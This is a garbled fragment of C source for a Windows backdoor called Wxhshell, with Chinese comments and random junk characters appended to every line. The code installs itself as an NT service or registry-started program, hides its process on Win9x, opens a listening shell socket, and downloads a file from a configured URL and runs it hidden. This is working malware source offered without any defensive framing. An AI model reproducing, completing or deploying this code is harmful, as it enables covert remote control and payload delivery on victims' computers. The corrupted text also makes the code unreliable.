PROCNTQSIP NtQueryInformationProcess; nXXyX[c4e
Y*J,9
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,myl9s
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; f ~9ADb
H;|^z@RB<
HANDLE hProcess; D[ny%9 :
PROCESS_BASIC_INFORMATION pbi; '\P6NszY~
VDBP]LRF
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 8MV=?
if(NULL == hInst ) return 0; 'xhX\?mD
4k}u`8 a
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); S&FMFXF@
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ` O-$qT,_
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [/6IEt3}B
nx84l 7<
if (!NtQueryInformationProcess) return 0; [26"?};"%
LC2t,!RRl&
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); [Cvo^cC
if(!hProcess) return 0; hK3?m.>"g
\ c9EE-
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; VQ2)qJ#l
xrS;06$
CloseHandle(hProcess); 58{6k J@
M{Wla7
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); nTyKZ(#u
if(hProcess==NULL) return 0; Ub%5# <k|-
yS %J$o&
HMODULE hMod; >}Za)
char procName[255]; y.HE3tH
unsigned long cbNeeded; ZF>zzi+@
b1R%JY7/S
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 6l<q
RKx"
}<#+
CloseHandle(hProcess); YOd0dKe
Yc&yv
if(strstr(procName,"services")) return 1; // 以服务启动 9ssTG4Sa
">j}!n
8J
return 0; // 注册表启动 <%Bsb}h,
} 9Y3_.qa(.
^g"G1,[%w
// 主模块 A7C+-N
int StartWxhshell(LPSTR lpCmdLine)
T32C=7
{ +' QX`
SOCKET wsl; ez@`&cJ7
BOOL val=TRUE; ML9ZS
@
int port=0; $~75/
struct sockaddr_in door; 'D;v>r
:dc>\kUIv
if(wscfg.ws_autoins) Install(); #"|</*%>
o+r?N5
port=atoi(lpCmdLine); r8A
g:7S/L0]
if(port<=0) port=wscfg.ws_port; <-D>^p9
OTY9Q
WSADATA data; Usx8
U
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; N`h, 2!(j
:?S1#d_
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; V>>"nf,YO
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ,6uON@
door.sin_family = AF_INET; |#^wYZO1U
door.sin_addr.s_addr = inet_addr("127.0.0.1"); iimTr_TEt
door.sin_port = htons(port); Z%E;*R2+:>
4V@raI-
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 9w9[0BX#
closesocket(wsl); wM9HZraB<
return 1; @GNNi?EY
} i7_Nv
1Rg tZp%
if(listen(wsl,2) == INVALID_SOCKET) { D2z" Z@
closesocket(wsl); 7o_1PwKS6
return 1; j^-E,YMC
} mnh>gl!l
Wxhshell(wsl); ;x^WPYEj
WSACleanup(); .jA'BF.
P:,'
return 0; >\6Tm
P/6$T2k_
} SVB> 1s9F
q~ ]S5
// 以NT服务方式启动 ux`)jOQ`Y]
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <&^P1x<x
{ _4Z|O]
DWORD status = 0; jM]B\cvN
DWORD specificError = 0xfffffff; h8B:}_Cu
_IYd^c
serviceStatus.dwServiceType = SERVICE_WIN32; T#KF@8'-
serviceStatus.dwCurrentState = SERVICE_START_PENDING;
`S$zwot
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; W6%\Zwav?)
serviceStatus.dwWin32ExitCode = 0; ur7sf$
serviceStatus.dwServiceSpecificExitCode = 0; "*UN\VV+s
serviceStatus.dwCheckPoint = 0; LS;j]!CU
serviceStatus.dwWaitHint = 0;
RdaAS{>Sk
Jmg<mjq/G
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ldk (zAB.
if (hServiceStatusHandle==0) return; <cS"oBh&u0
cetHpU,
status = GetLastError(); UVa:~c$U4
if (status!=NO_ERROR) H2[VZ&Pg
{ 7~&
serviceStatus.dwCurrentState = SERVICE_STOPPED; r*_z<^d
serviceStatus.dwCheckPoint = 0; Bp&7:snGt
serviceStatus.dwWaitHint = 0; mqe83 k%
serviceStatus.dwWin32ExitCode = status; .\)`Xj[?
serviceStatus.dwServiceSpecificExitCode = specificError; y.vYT{^
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^F\RM4|,
return; l Oxz&m
} nYy%=B|>
r'*x><m'
serviceStatus.dwCurrentState = SERVICE_RUNNING; X?'Sh XI
serviceStatus.dwCheckPoint = 0; "}ibH{$lM
serviceStatus.dwWaitHint = 0; B}S!l>.z
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); zNG]v?JAh
} ', +YWlW
)bqSM&SO
// 处理NT服务事件,比如:启动、停止 3mef;!q
VOID WINAPI NTServiceHandler(DWORD fdwControl) 8[v9|r
{ y950Q%B]
switch(fdwControl) GO&~)Vh&7
{ .kwz$b+h
case SERVICE_CONTROL_STOP: fL$U%I3
serviceStatus.dwWin32ExitCode = 0; 8`g@
)]Iy
serviceStatus.dwCurrentState = SERVICE_STOPPED; *ay&&S*
serviceStatus.dwCheckPoint = 0; &k53*Wo
serviceStatus.dwWaitHint = 0; Bk)E]Fk|
{ }SD*@w
SetServiceStatus(hServiceStatusHandle, &serviceStatus); }Br=eaY
} hSkI]%
return; /Uxp5 b h
case SERVICE_CONTROL_PAUSE: y0}3s)lKv
serviceStatus.dwCurrentState = SERVICE_PAUSED; fhwJ
break; D@W[Nd5MJ
case SERVICE_CONTROL_CONTINUE: M$J{clr
serviceStatus.dwCurrentState = SERVICE_RUNNING; +>b m~6
break; Y["aw&;#O\
case SERVICE_CONTROL_INTERROGATE: 2bv/-^
break; R;d)I^@
}; 0+3_CS++r
SetServiceStatus(hServiceStatusHandle, &serviceStatus); >;qAj!'
} Q'
b@5o
9!XXuMWU<
// 标准应用程序主函数 4e`GMtp
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) V8KdY=[
{ xgp 6lO [
etw.l~y
// 获取操作系统版本 K%jh6c8
OsIsNt=GetOsVer(); vM3 b\yp
GetModuleFileName(NULL,ExeFile,MAX_PATH); zjE|UK{
v79k{<Ln
// 从命令行安装 S[zETRSG
if(strpbrk(lpCmdLine,"iI")) Install(); SHow~wxw
6Dl]d%.
// 下载执行文件 reP)&Fo
if(wscfg.ws_downexe) { VsU*yG a
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) o|en"?4
WinExec(wscfg.ws_filenam,SW_HIDE); /E %^s3S.
} g$/C-j4A[
Yq~$pVgf
if(!OsIsNt) { Qxb%P<`u
// 如果时win9x,隐藏进程并且设置为注册表启动 f[ 'uka.U
HideProc(); `/"*_AKAI
StartWxhshell(lpCmdLine); 57|RE5]|!
} 1ze\ U>
else @LyCP4
if(StartFromService()) BT *z^ZH
// 以服务方式启动 WY& [%r
StartServiceCtrlDispatcher(DispatchTable); V|\dnVQ'-%
else ZbAg^2
// 普通方式启动 (/i?Fd
StartWxhshell(lpCmdLine); ?+P D?c7
0PP5qeqN2n
return 0; ~fF_]UVq3
}